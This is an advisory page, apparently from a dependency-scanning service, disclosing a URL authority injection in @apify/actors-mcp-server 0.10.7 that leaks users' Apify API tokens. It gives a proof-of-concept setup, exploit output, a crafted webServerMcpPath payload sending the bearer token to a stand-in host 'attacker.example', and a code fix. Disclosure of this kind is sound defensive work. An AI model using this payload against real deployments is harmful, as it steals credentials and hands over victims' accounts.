npm · @apify/actors-mcp-server
Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
/ (relative path),@ character (userinfo/authority injection), orstandbyUrl.When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811 — MCP tools/call request parameters are read.src/mcp/server.ts:816 — apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().src/mcp/actors.ts:14-20 — webServerMcpPath is trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44 — standbyUrl + mcpServerPath produces an authority-injected URL.connectMCPClient() is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124 — Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.Environment requirements:
4e2b185 checked out under the build contextBuild and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
The Dockerfile:
127.0.0.1 (IP SAN required for Node.js TLS validation).@apify/actors-mcp-server@0.10.7 dependencies under pnpm.NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.exploit.mjs, which:127.0.0.1:31337.webServerMcpPath of @127.0.0.1:31337/mcp.getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337
Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}
The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_token
URL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Recommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
Any user of @apify/actors-mcp-server who:
APIFY_TOKEN, server options, or _meta.apifyToken), andcall-actor, fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
DockerfileFROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs &
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.